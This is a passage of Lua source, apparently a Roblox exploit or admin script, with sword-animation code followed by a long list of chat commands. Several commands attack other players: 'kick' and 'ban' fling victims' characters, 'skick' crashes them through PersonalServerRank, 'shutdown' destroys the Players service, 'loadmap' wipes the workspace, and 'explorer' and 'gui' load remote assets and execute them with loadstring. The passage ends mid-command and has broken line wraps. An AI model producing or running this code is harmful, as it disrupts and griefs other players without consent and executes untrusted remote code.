for i=1,0,-0.1*Speed do
LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
end
Lh,Rh = FeetWeld(false,lh2,rh2)
wait(0.6)
Anim.Act = false
Anim.Move = "None"
end))
for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end
rpos = 0
Sound(Sounds.Cast,0.8,1)
repeat wait()
local Hit, hitpos = rayCast(Torso.Position,((Torso.Position -
Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
if Hit == nil then lostcontrol = true break end
hpos = hitpos.y if math.random(1,6) == 4 then Functions.Sparkle(Torso,8) end
if math.random(1,3) == 3 then Functions.BrickWarpDesign(Torso,10) end wavv = wavv +
10 Rage = Rage - (RageCost["RageRegening"]*RageIncome)
wav.CFrame = cf(Torso.Position.x,hpos+1.4,Torso.Position.z) *ca(0,mr(wavv),0)
until Rage >= MaxRage or Anim.key.z == false
for i=0.3,01,0.14*Speed do wav.Transparency = i wait() end wav:Remove()
bp:Remove()
Humanoid.WalkSpeed = Humanoid.WalkSpeed + (RealSpeed-4)
end
Functions.Teleport = function(i1,i2,is,RaigCost)
Anim.Act = true
for i=i1,i2,is*Speed do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
local tele = false
local tele2 = false -- for mouse
local mouseact = mouse.Button1Up:connect(function() tele2 = true end)
coroutine.resume(coroutine.create(function() Sound(Sounds.Cast,1.2,1) wait(12) tele
= true end))
local telepos = Torso.Position
local telehit = nil
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0.1,BladeColor) wav.Anchored
= true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
local wavv = 0
wavm.Scale = Vector3.new(3.5,2,3.5)
repeat
local mpos = mouse.hit.p + Vector3.new(0,2,0)
telehit,telepos = rayCast(mpos,((mpos - Vector3.new(0,10000,0)) -
mpos),999.999,Player.Character)
wavv = wavv + 8 Functions.Sparkle(La,3) Functions.BrickWarpDesign(La,4)
if telehit ~= nil then wav.Transparency = 0 wav.CFrame =
cf(telepos.x,telepos.y+1,telepos.z) *ca(0,mr(wavv),0) else wav.Transparency = 1 end
wait() until tele == true or tele2 == true mouseact:disconnect()
if telehit == nil or math.abs((Torso.Position - telepos).magnitude) >
Props.MaxTeleDistance then
Sound(Sounds.Punch,1,1) for i=0.3,1,0.14 do wavm.Scale =
Vector3.new(3.5+(5*i),2,3.5+(5*i)) wav.Transparency = i wait() end wav:Remove()
wav:Remove()
else
MinusRage(RaigCost)
for i=1,10 do wait() Functions.Sparkle(Torso,5,3)
Functions.BrickWarpDesign(Torso,6) end
ShockWave(Torso,7,BladeColor)
Torso.CFrame = wav.CFrame + Vector3.new(0,2.2,0) Sound(Sounds.EnergyBlast,1.2,0.6)
ShockWave(Torso,7,BladeColor)
for i=1,10 do wait() Functions.Sparkle(Torso,5,3)
Functions.BrickWarpDesign(Torso,6) end
for i=0.3,1,0.14 do wavm.Scale = Vector3.new(3.5+(5*i),2,3.5+(5*i))
wav.Transparency = i wait() end wav:Remove()
end
for i=i2,i1,-is*Speed do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
Anim.Act = false
end

-----------------------------------------------------------------------------------
---------------------------
-----------------------------------------------------------------------------------
---------------------------
-----------------------------------------------------------------------------------
---------------------------
-----------------------------------------------------------------------------------
---------------------------
bin.Selected:connect(function(mm)
Mouse = mouse
mouse = mm
Torso["Left Hip"].Part0 = Tor
Torso["Right Hip"].Part0 = Tor
RS.Parent = nil
LS.Parent = nil
RW.Parent = Torso
RW.Part0 = Fra
RW.Part1 = Ra
LW.Parent = Torso
LW.Part0 = Fla
LW.Part1 = La
RW.C0 = CFrame.new(0,0,0) RW.C1 = CFrame.new(0,0,0)
LW.C0 = CFrame.new(0,0,0) LW.C1 = CFrame.new(0,0,0)
Anims.Equip(0,1,0.07*Speed)
Anim.Equipped = true
mouse.KeyDown:connect(function(key)
key:lower()
pcall(function() Anim.key[key:lower()] = true end)
keydown = true
if key == "z" and Anim.Move == "None" and not Anim.Act then
Functions.RageRegen()
end
if SwordType == "Single" then
if key == "e" and Anim.Move == "None" and not Anim.Act and RageCost["RotorBlade"]
<= Rage then
Anim.Move = "RotorBlade"
Anims.RotorBlade(0,1,0.08*Speed,RageCost["RotorBlade"])
Anim.Move = "None"
elseif key == "q" and Anim.Move == "None" and not Anim.Act and
RageCost["Boomerang"] <= Rage then
Anim.Move = "Boomerang"
Anims.Boomerang(0,1,0.08*Speed,RageCost["Boomerang"])
Anim.Move = "None"
elseif key == "f" and Anim.Move == "None" and not Anim.Act and
RageCost["BoulderForce"] <= Rage then
Anim.Move = "BoulderForce"
Anims.BoulderForce(0,1,0.08*Speed,RageCost["BoulderForce"])
Anim.Move = "None"
elseif key == "r" and Anim.Move == "None" and not Anim.Act and
RageCost["ForceWave"] <= Rage then
Anim.Move = "ForceWave"
Anims.ForceWave(0,1,0.08*Speed,RageCost["ForceWave"])
Anim.Move = "None"
elseif key == "t" and Anim.Move == "None" and not Anim.Act and RageCost["Teleport"]
<= Rage then
Anim.Move = "Teleport"
Functions.Teleport(0,1,0.08*Speed,RageCost["Teleport"])
Anim.Move = "None"
end
elseif SwordType == "Dual" then
if key == "e" and Anim.Move == "None" and not Anim.Act and RageCost["DualSpin"] <=
Rage then
Anim.Move = "DualSpin"
Anims.DualSpin(0,1,0.08*Speed,RageCost["DualSpin"])
Anim.Move = "None"
end
end
end)
mouse.KeyUp:connect(function(key)
pcall(function() Anim.key[key:lower()] = false end)
keydown = false
end)

mouse.Button1Down:connect(function() Anim.Button = true


if not Anim.Click and Anim.Move == "None" and not Anim.Act then
Anim.Click = true
if Anim.CanBerserk ~= 0 then Anim.CanBerserk = Anim.CanBerserk + 1 end
if Anim.CanBerserk == 0 and RageCost["Berserk"] <= Rage then
Rage = Rage - RageCost["Berserk"]
Anim.ComboBreak = true
Speed = Speed + 0.5
Anim.CanBerserk = Anim.CanBerserk + 1
--Anim.Move = "LeftPunch"
--Anims.LeftPunch(0,1,0.1*Speed,0) Anim.Move = "None"
elseif Anim.CanBerserk == 2 then
Anim.CanBerserk = 0
end
coroutine.resume(coroutine.create(function() local oldcomb = Anim.CanBerserk
wait(0.5) if Anim.ComboBreak == true and Anim.CanBerserk == oldcomb then
Anim.ComboBreak = false Speed = Speed -0.5 Anim.CanBerserk = 0 end end))
wait(0.1)
Anim.Click = false
end
end)
mouse.Button1Up:connect(function() Anim.Button = false
end)
end)
bin.Deselected:connect(function(mouse)
Anim.Equipped = false
if SwordType == "Dual" then Anims.ChangeToSingle(0,1,0.25*Speed) SwordType =
"Single" end
Anims.UnEquip(1,0,-0.08*Speed)
RW.Parent = nil
LW.Parent = nil
RS.Parent = Torso
RS.Part0 = Torso
RS.Part1 = Ra
LS.Parent = Torso
LS.Part0 = Torso
LS.Part1 = La
if Rh.Parent == nil then
FeetWeld(false,Lh,Rh)
end
Torso["Left Hip"].Part0 = Torso
Torso["Right Hip"].Part0 = Torso
end)
Hum.WalkSpeed = RealSpeed
Rage = 100000
wait(5)
end)

addcmd('time', 'change the time of day',{},


function(args)
if not args[1]then return end
local time_=tonumber(args[1])
Notify('Time set to ' .. args[1])

game.Lighting:SetMinutesAfterMidnight(time_*60)
end)

addcmd('kick', 'kick a player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
lol=function(wt) -- thx man
if(wt~=nil)then
spawn(function()
pcall(function()
local vic=wt

local skt=Instance.new("SkateboardPlatform", vic)


skt.CFrame=CFrame.new(math.random(-1000,1000),1000,math.random(-1000,1000))
skt.CanCollide=false
skt.Anchored=false
skt.Transparency=1
skt.Size=Vector3.new(5,1,5)
vic.Humanoid.WalkSpeed=0
vic.Humanoid.Jump=true
wait(.2)
local wld=Instance.new("Weld", workspace)
wld.Part0=vic.Torso
wld.Part1=skt
wld.C0=CFrame.new(0,-500,0)
wait(.5)
skt.Anchored=true
wld:Destroy()
Notify('Kicked ' .. gPlayers[v].Name)
end)
end);
end;
end;
lol(gPlayers[v].Character)
end
end)

addcmd('ban', 'ban a player',{},


function(args)
game:GetService("RunService").Heartbeat:connect(function(heart)
local players = getPlayer(args[1])
for i,v in pairs(players) do
lol=function(wt) -- thx man
if(wt~=nil)then
spawn(function()
pcall(function()
local vic=wt

local skt=Instance.new("SkateboardPlatform", vic)


skt.CFrame=CFrame.new(math.random(-1000,1000),1000,math.random(-1000,1000))
skt.CanCollide=false
skt.Anchored=false
skt.Transparency=1
skt.Size=Vector3.new(5,1,5)
vic.Humanoid.WalkSpeed=0
vic.Humanoid.Jump=true
wait(.2)
local wld=Instance.new("Weld", workspace)
wld.Part0=vic.Torso
wld.Part1=skt
wld.C0=CFrame.new(0,-500,0)
wait(.5)
skt.Anchored=true
wld:Destroy()
Notify('Banned ' .. gPlayers[v].Name)
end)
end);
end;
end;
lol(gPlayers[v].Character)
end
end)
end)

addcmd('unlockws', 'unlock the whole workspace',{'unlock'},


function(args)
Notify('Workspace unlocked')
wait(1)
local function unlock(instance)
for i,v in pairs(instance:GetChildren()) do
if v:IsA("BasePart") then
v.Locked = false
end
unlock(v)
end
end
unlock(workspace)
end)

addcmd('lockws', 'lock the whole workspace',{'lock'},


function(args)
Notify('Workspace locked')
wait(1)
local function lock(instance)
for i,v in pairs(instance:GetChildren()) do
if v:IsA("BasePart") then
v.Locked = true
end
lock(v)
end
end
lock(workspace)
end)

addcmd('unanchorws', 'unanchor the whole workspace',{'unanchor', 'unanchr'},


function(args)
Notify('What have you done ' .. Player.Name .. '!?')
wait(1)
local function unanchor(instance)
for i,v in pairs(instance:GetChildren()) do
if v:IsA("BasePart") then
v.Anchored=false
end
unanchor(v)
end
end
unanchor(workspace)
end)

addcmd('hat', 'give player a hat ingame',{},


function(args)
if not args[1] or not args[2] then return end
local players = getPlayer(args[1])
local id=args[2]
local hat = game:GetService("InsertService"):LoadAsset(id)
if hat:IsA("Hat") then
for i,v in pairs(players) do
hat:clone().Parent = _char(v)
end
end
hat:Destroy()
end)

addcmd('gear', 'give player a gear ingame',{},


function(args)
spawn(function()
if not args[1] or not args[2] then return end
local players = getPlayer(args[1])
local id=args[2]
local model = game:GetService("InsertService"):LoadAsset(id)
for i,v in pairs(players) do
for _,j in pairs(model:GetChildren()) do
if j:IsA("Tool") then
j:Clone().Parent = gPlayers[v].Backpack
Notify('Gave ' .. gPlayers[v].Name .. ' ' .. args[2])
end
end
end
model:Destroy()
end)
end)

addcmd('skick','kicks a player by shutting them down, takes a few seconds',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
spawn(function()
gPlayers[v].PersonalServerRank = 240
gPlayers[v].Backpack:WaitForChild("ClassicTool")
gPlayers[v].PersonalServerRank = 0
end)
end
end)

addcmd('admin', 'gives a player admin',{},


function(args)
if not args[1]then return end
local players = getPlayer(args[1])
table.foreach(players,function(k,v)
admins[v]=true
Notify('Gave' .. gPlayers[v].Name .. ' admin.')
end)
for i,v in pairs(players) do
local pchar = gPlayers[v].Character
game.Chat:Chat(pchar.Head, "You've been given admin.")
wait(2.5)
game.Chat:Chat(pchar.Head, 'Prefix is "' .. cmdprefix .. '"')
end
end)

addcmd('unadmin', 'removes a players admin',{},


function(args)
if not args[1] then return end
local players = getPlayer(args[1])
table.foreach(players,function(k,v)
admins[v]=nil
Notify(gPlayers[v].Name .. ' no longer has Admin.')
end)
end)

addcmd('explorer', 'opens DEX',{},


function(args)
function makeThread(str)
local newstr = "coroutine.resume(coroutine.create(function()\n"
newstr = newstr .. str .. "\n"
newstr = newstr .. "end))\n"
return newstr
end

local gui = game:GetObjects("rbxassetid://464671430")[1]


gui.ExplorerPanel.LocalScript.Source =
string.gsub(gui.ExplorerPanel.LocalScript.Source,"script.Parent","game.CoreGui.Dex.
ExplorerPanel")
gui.PropertiesFrame.Properties.Source =
string.gsub(gui.PropertiesFrame.Properties.Source,"script.Parent.Parent","game.Core
Gui.Dex")
gui.Selection.Source =
string.gsub(gui.Selection.Source,"script.Parent","game.CoreGui.Dex")
gui.ScriptEditor.LocalScript.Source =
string.gsub(gui.ScriptEditor.LocalScript.Source,"script.Parent","game.CoreGui.Dex.S
criptEditor")
gui.Parent = game.CoreGui

local a = makeThread(gui.ExplorerPanel.LocalScript.Source)
local b = makeThread(gui.PropertiesFrame.Properties.Source)
local c = makeThread(gui.Selection.Source)
local d = makeThread(gui.ScriptEditor.LocalScript.Source)

loadstring(a..b..c..d)()
end)

addcmd('firstp', 'forces player to go into first person',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
gPlayers[v].CameraMode = "LockFirstPerson"
Notify(gPlayers[v].Name .. ' is now first person')
end
end)

addcmd('base', 'spawns a base',{},


function(args)
local pt = Instance.new("Part")
pt.BrickColor = BrickColor.new("Silver")
pt.Anchored = true
pt.CanCollide = true
pt.BottomSurface = "Weld"
pt.Parent = workspace
pt.Name = (math.random(1,1000000))
pt.Size = Vector3.new(1000, 1, 1000)
Notify('Created new base')
end)

addcmd('fix', 'restores lighting and what not',{},


function(args)
game.Lighting.Ambient = origsettings.abt
game.Lighting.Brightness = origsettings.brt
game.Lighting.TimeOfDay = origsettings.time
game.Lighting.FogColor = origsettings.fclr
game.Lighting.FogEnd = origsettings.fe
game.Lighting.FogStart = origsettings.fs
end)
addcmd('thirdp', 'allows player to go into third person',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
gPlayers[v].CameraMode = "Classic"
Notify(gPlayers[v].Name .. ' is now third person')
end
end)

addcmd('chat', 'forces player to chat what you input',{},


function(args)
local players = getPlayer(args[1])
local MSG = table.concat(args, " ")
local newMSG = string.gsub(MSG, args[1] .. " ", "")
for i,v in pairs(players)do
game.Chat:Chat(gPlayers[v].Character.Head, newMSG)
end
end)

addcmd('insert', 'inserts a model',{},


function(args)
local model = game:GetService("InsertService"):LoadAsset(args[1])
model.Parent = game.Workspace
model:MoveTo(game.Players.LocalPlayer.Character.Torso.Position)
model:MakeJoints()
end)

addcmd('name', 'names player',{},


function(args)
local players = getPlayer(args[1])
local msg = table.concat(args, " ")
local newmsg = string.gsub(msg, args[1] .. " ", "")
for i,v in pairs(players) do
for a, mod in pairs(gPlayers[v].Character:children()) do
if mod:FindFirstChild("TAG") then
gPlayers[v].Character.Head.Transparency = 0
mod:Destroy()
end
end

local char = gPlayers[v].Character


local model = Instance.new("Model", char)
local clone = char.Head:Clone()
local hum = Instance.new("Humanoid", model)
local weld = Instance.new("Weld", clone)
model.Name = newmsg
clone.Parent = model
hum.Name = "TAG"
hum.MaxHealth = 100
hum.Health = 100
weld.Part0 = clone
weld.Part1 = char.Head
char.Head.Transparency = 1
Notify(gPlayers[v].Name .. ' name set to ' ..newmsg)
end
end)

addcmd('unname', 'unnames player',{},


function(args)
local players = getPlayer(args[1])
local name = (args[2])
for i,v in pairs(players) do
for a, mod in pairs(gPlayers[v].Character:children()) do
if mod:FindFirstChild("TAG") then
gPlayers[v].Character.Head.Transparency = 0
mod:Destroy()
Notify('Unnamed ' ..gPlayers[v].Name)
end
end
end
end)

addcmd('stun', 'stuns player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
gPlayers[v].Character.Humanoid.PlatformStand = true
end
end)

addcmd('unstun', 'stuns player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
gPlayers[v].Character.Humanoid.PlatformStand = false
end
end)

addcmd('sit', 'stuns player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
gPlayers[v].Character.Humanoid.Sit = true
end
end)

addcmd('guest', 'ew a guest',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
gPlayers[v].CharacterAppearance =
"http://www.roblox.com/Asset/CharacterFetch.ashx?userId=1"
gPlayers[v].Character:BreakJoints()
end
end)

addcmd('damage', 'damages a player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
gPlayers[v].Character.Humanoid.Health =
gPlayers[v].Character.Humanoid.Health - 25
Notify('Gave ' .. gPlayers[v].Name .. ' damage')
end
end)

addcmd('view', 'views player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
game.Workspace.CurrentCamera.CameraSubject = gPlayers[v].Character
Notify('Viewing ' .. gPlayers[v].Name)
end
end)

addcmd('unview', 'stops viewing player',{},


function()
game.Workspace.CurrentCamera.CameraSubject =
game.Players.LocalPlayer.Character
Notify('View turned off')
end)

addcmd('nolimbs', 'removes limbs from player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
for i,v in pairs(gPlayers[v].Character:GetChildren()) do
if v:IsA("BasePart") and
v.Name == "Right Leg" or
v.Name == "Left Leg" or
v.Name == "Right Arm" or
v.Name == "Left Arm" then
v:Remove()
end
end
end
end)

addcmd('box', 'creates a box around player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
local SB = Instance.new("SelectionBox", pchar)
SB.Adornee = SB.Parent
SB.Color = BrickColor.new("" .. (args[2]))
end
end)

addcmd('nobox', 'takes away box from player',{'unbox'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
for i,v in pairs(gPlayers[v].Character:GetChildren()) do
if v:IsA("SelectionBox") then
v:Destroy()
end
end
end
end)

addcmd('ghost', 'ghostifys player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=gPlayers[v].Character
pchar.Head.Transparency = 0.5
pchar.Torso.Transparency = 0.5
pchar["Left Arm"].Transparency = 0.5
pchar["Right Arm"].Transparency = 0.5
pchar["Left Leg"].Transparency = 0.5
pchar["Right Leg"].Transparency = 0.5
pchar.Head.face.Transparency = 0.5
end
end)

addcmd('sphere', 'puts sphere around player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=gPlayers[v].Character
local SS = Instance.new("SelectionSphere", pchar)
SS.Adornee = SS.Parent
end
end)

addcmd('loadmap','loads map from model',{},


function(args)
pcall(function()
for i,v in pairs(workspace:GetChildren()) do
if v.Name~="Camera" and v.Name~="Terrain" then
v:Destroy()
end
end
workspace.Terrain:Clear()
for i,v in pairs(game.Players:GetChildren()) do
local plr = v
local prt = Instance.new("Model", workspace)
Instance.new("Part", prt).Name="Torso"
Instance.new("Part", prt).Name="Head"
Instance.new("Humanoid", prt).Name="Humanoid"
plr.Character = prt
end
if (args[1]) == "sfotho" then
local b = Insert(296400126, game.Workspace, "sfotho")
b:MakeJoints()
end
local b = Insert(args[1], game.Workspace, "LoadedMap")
b:MakeJoints()
end)
Notify('Loaded Map')
end)

addcmd('ambient','changes ambient',{},
function(args)
game.Lighting.Ambient = Color3.new(args[1],args[2],args[3])
end)

addcmd('gui','gives YourMom GUI',{},


function(args)
loadstring(Insert(289110135, game.CoreGui.RobloxGui).Source)()
end)

addcmd('jail','jails player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=gPlayers[v].Character
local JailPlayer = DATA.JAIL:Clone()
JailPlayer.Parent = game.Workspace
JailPlayer:MoveTo(pchar.Torso.Position)
JailPlayer.Name = "JAIL_" .. gPlayers[v].Name
if pchar:FindFirstChild("HumanoidRootPart") then
pchar.HumanoidRootPart.CFrame = JailPlayer.MAIN.CFrame
end
end
end)

addcmd('unjail','unjails player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
game.Workspace["JAIL_" .. gPlayers[v].Name]:Destroy()
end
end)

addcmd('shutdown', 'shuts the server down',{},


function(args)
local function ShutDown(Base)
for i,v in pairs(Base:GetChildren()) do
v:Destroy()
Notify('Shutting Down...')
end
end
ShutDown(game.Players)
end)

addcmd('animation','makes player animate',{'anim'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
local ID = args[2]

if args[2] == "climb" then


ID = "180436334"
end
if args[2] == "fall" then
ID = "180436148"
end
if args[2] == "jump" then
ID = "125750702"
end
if args[2] == "sit" then
ID = "178130996"
end
for _,x in pairs(gPlayers[v].Character.Animate:GetChildren()) do
if x:IsA("StringValue") then
for _,c in pairs(x:GetChildren()) do
if c:IsA("Animation") then
c.AnimationId = "rbxassetid://" .. ID
end
end
end
end
end
end)

addcmd('normal','turns player back to normal',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character

pchar.Torso.Neck.C0 = CFrame.new(0,1,0) *
CFrame.Angles(math.rad(90),math.rad(180),0)
pchar.Torso["Right Shoulder"].C0 = CFrame.new(1,0.5,0) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Shoulder"].C0 = CFrame.new(-1,0.5,0) *
CFrame.Angles(0,math.rad(-90),0)
pchar.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) *
CFrame.Angles(0,math.rad(-90),0)

for i,v in pairs(pchar.Head:GetChildren()) do


if v:IsA("SpecialMesh") then
v:Destroy()
end
end

for i,v in pairs(pchar:GetChildren()) do


if v:IsA("Shirt") then
v:Destroy()
end
end

for i,v in pairs(pchar:GetChildren()) do


if v:IsA("Pants") then
v:Destroy()
end
end

if Player.Character:FindFirstChild("Shirt Graphic") ~= nil then


Player.Character["Shirt Graphic"].Graphic = ""
end

local HeadMesh = Instance.new("SpecialMesh", pchar.Head)


HeadMesh.MeshType = "Head"
HeadMesh.Scale = Vector3.new(1.25, 1.25, 1.25)

pchar.Head.Transparency = 0
pchar.Torso.Transparency = 0
pchar["Left Arm"].Transparency = 0
pchar["Right Arm"].Transparency = 0
pchar["Left Leg"].Transparency = 0
pchar["Right Leg"].Transparency = 0

for i,v in pairs(pchar.Head:GetChildren()) do


if v:IsA("Decal") then
v:Destroy()
end
end

local face = Instance.new("Decal", pchar.Head)


face.Name = "face"
face.Texture = "rbxasset://textures/face.png"
face.Face = "Front"

for i,v in pairs(pchar:GetChildren()) do


if v:IsA("Seat") then
v:Destroy()
end
end

for i,v in pairs(pchar.Torso:GetChildren()) do


if v:IsA("Weld") then
v:Destroy()
end
end

for i,v in pairs(pchar.Torso:GetChildren()) do


if v:IsA("SpecialMesh") then
v:Destroy()
end
end

pchar["Body Colors"].HeadColor = BrickColor.new("Cool yellow")


pchar["Body Colors"].LeftArmColor = BrickColor.new("Cool yellow")
pchar["Body Colors"].LeftLegColor = BrickColor.new("Medium blue")
pchar["Body Colors"].RightArmColor = BrickColor.new("Cool yellow")
pchar["Body Colors"].RightLegColor = BrickColor.new("Medium blue")
pchar["Body Colors"].TorsoColor = BrickColor.new("Bright blue")
for _,v in pairs(Player.Character:GetChildren()) do
if v:IsA("Hat") then
v:Destroy()
end
end
end
end)

addcmd('creeper','make the player a creeper',{'crpr'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar and pchar:findFirstChild("Torso") then
if pchar:FindFirstChild("Shirt") then
pchar.Shirt.Parent = pchar.Torso
end
if pchar:FindFirstChild("Pants") then
pchar.Pants.Parent = pchar.Torso
end
if pchar:FindFirstChild("Shirt Graphic") then
pchar["Shirt Graphic"].Graphic = ""
end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") then
v:Destroy()
end
end
pchar.Torso.Neck.C0 = CFrame.new(0,1,0) *
CFrame.Angles(math.rad(90),math.rad(180),0)
pchar.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) *
CFrame.Angles(0,math.rad(-90),0)
pchar.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) *
CFrame.Angles(0,math.rad(-90),0)
pchar["Body Colors"].HeadColor = BrickColor.new("Bright green")
pchar["Body Colors"].LeftArmColor = BrickColor.new("Bright green")
pchar["Body Colors"].LeftLegColor = BrickColor.new("Bright green")
pchar["Body Colors"].RightArmColor = BrickColor.new("Bright green")
pchar["Body Colors"].RightLegColor = BrickColor.new("Bright green")
pchar["Body Colors"].TorsoColor = BrickColor.new("Bright green")
end
end
end)

addcmd('uncreeper','makes player back to normal',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
execCmd("fix " .. gPlayers[v].Name, Player)
end
end)

addcmd('shrek', 'makes player shrek',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") or v:IsA("CharacterMesh") or v:IsA("Shirt") or
v:IsA("Pants") then
v:Destroy()
end
end
for i,v in pairs(pchar.Head:GetChildren()) do
if v:IsA("Decal") or v:IsA("SpecialMesh") then
v:Destroy()
end
end

local mesh = Instance.new("SpecialMesh", pchar.Head)


mesh.MeshType = "FileMesh"
pchar.Head.Mesh.MeshId = "http://www.roblox.com/asset/?id=19999257"
pchar.Head.Mesh.Offset = Vector3.new(-0.1, 0.1, 0)
pchar.Head.Mesh.TextureId = "http://www.roblox.com/asset/?id=156397869"

local Shirt = Instance.new("Shirt", gPlayers[v].Character)


local Pants = Instance.new("Pants", gPlayers[v].Character)

Shirt.ShirtTemplate = "rbxassetid://133078194"
Pants.PantsTemplate = "rbxassetid://133078204"
end
end)
addcmd('unshrek','makes player back to normal',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
execCmd("fix " .. gPlayers[v].Name, Player)
end
end)

local Spamming = false

addcmd('spam','spams text',{},
function(args)
Spamming = true
spawn(function()
while wait(0) do
if Spamming == true then
while wait(0.1) do
if Spamming == true then
game.Players:Chat("" .. args[1])
elseif Spamming == false then
return
end
end
end
end
end)
end)

addcmd('nospam','stops spamming',{},
function(args)
Spamming = false
end)

addcmd('control','controls player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar then
pchar.Humanoid.PlatformStand = true
local w = Instance.new("Weld", Player.Character.Torso)
w.Part0 = Player.Character.Torso
w.Part1 = pchar.Torso
local w2 = Instance.new("Weld", Player.Character.Head)
w2.Part0 = Player.Character.Head
w2.Part1 = pchar.Head
local w3 = Instance.new("Weld",
Player.Character:findFirstChild("Right Arm"))
w3.Part0 = Player.Character:findFirstChild("Right Arm")
w3.Part1 = pchar:findFirstChild("Right Arm")
local w4 = Instance.new("Weld",
Player.Character:findFirstChild("Left Arm"))
w4.Part0 = Player.Character:findFirstChild("Left Arm")
w4.Part1 = pchar:findFirstChild("Left Arm")
local w5 = Instance.new("Weld",
Player.Character:findFirstChild("Right Leg"))
w5.Part0 = Player.Character:findFirstChild("Right Leg")
w5.Part1 = pchar:findFirstChild("Right Leg")
local w6 = Instance.new("Weld",
Player.Character:findFirstChild("Left Leg"))
w6.Part0 = Player.Character:findFirstChild("Left Leg")
w6.Part1 = pchar:findFirstChild("Left Leg")
char.Head.face:Destroy()
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
for i,v in pairs(char:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 1
elseif v:IsA("Hat") then
v:Destroy()
end
end
pchar.Parent = char
pchar.Humanoid.Changed:connect(function()
pchar.Humanoid.PlatformStand = true
end)
end
end
end)

addcmd('nuke','nukes player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar and pchar:FindFirstChild("Torso") then
local nuke = Instance.new("Part", game.Workspace)
nuke.Anchored = true
nuke.CanCollide = false
nuke.FormFactor = "Symmetric"
nuke.Shape = "Ball"
nuke.Size = Vector3.new(1,1,1)
nuke.BrickColor = BrickColor.new("New Yeller")
nuke.Transparency = 0.5
nuke.Reflectance = 0.2
nuke.TopSurface = 0
nuke.BottomSurface = 0
nuke.Touched:connect(function (hit)
if hit and hit.Parent then
local boom = Instance.new("Explosion",
game.Workspace)
boom.Position = hit.Position
boom.BlastRadius = 11
boom.BlastPressure = math.huge
end
end)
local CF = pchar.Torso.CFrame
nuke.CFrame = CF
for i = 1,333 do
nuke.Size = nuke.Size + Vector3.new(3,3,3)
nuke.CFrame = CF
wait(1/44)
